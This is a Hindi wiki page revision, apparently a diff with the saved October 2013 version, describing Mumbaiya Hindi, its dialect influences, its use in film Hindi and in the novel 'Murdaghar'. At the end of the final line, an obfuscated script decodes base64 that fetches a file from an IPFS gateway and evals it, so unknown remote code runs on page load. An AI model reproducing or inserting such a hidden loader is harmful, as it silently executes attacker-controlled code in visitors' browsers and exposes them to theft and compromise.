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− | *यों अब फ़िल्मी हिन्दी में इसके प्रयोग अवश्य कभी- कभी मिल जाते हैं।*उसी प्रभाव से मुम्बई के लेखकों के कथा- साहित्य में भी से कहीं- कहीं पाया जा सकता है। | + | *यों अब फ़िल्मी हिन्दी में इसके प्रयोग अवश्य कभी- कभी मिल जाते हैं। |
+ | *उसी प्रभाव से मुम्बई के लेखकों के कथा- साहित्य में भी से कहीं- कहीं पाया जा सकता है। | ||
*[[जगदम्बा प्रसाद दीक्षित]] का उपन्यास 'मुर्दाघर' तो मुख्यत: प्राय: इसी हिन्दी में लिखा गया है।{{प्रचार}} | *[[जगदम्बा प्रसाद दीक्षित]] का उपन्यास 'मुर्दाघर' तो मुख्यत: प्राय: इसी हिन्दी में लिखा गया है।{{प्रचार}} | ||
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09:19, 9 अक्टूबर 2013 के समय का अवतरण
- मुम्बईया हिन्दी मुम्बई में बोली जाती है।
- इसका मूल आधार तो मानक हिन्दी है किंतु इस पर मराठी और गुजराती तथा राजस्थानी, अवधी, भोजपुरी आदि हिन्दी बोलियों का प्रभाव पड़ा है।
- मुम्बईया हिन्दी किसी की मातृभाषा नहीं है।
- यह मात्र सामान्य बोलचाल में प्रयुक्त होती है, लेखन या औपचारिक स्थितियों में नहीं।
- यों अब फ़िल्मी हिन्दी में इसके प्रयोग अवश्य कभी- कभी मिल जाते हैं।
- उसी प्रभाव से मुम्बई के लेखकों के कथा- साहित्य में भी से कहीं- कहीं पाया जा सकता है।
- जगदम्बा प्रसाद दीक्षित का उपन्यास 'मुर्दाघर' तो मुख्यत: प्राय: इसी हिन्दी में लिखा गया है।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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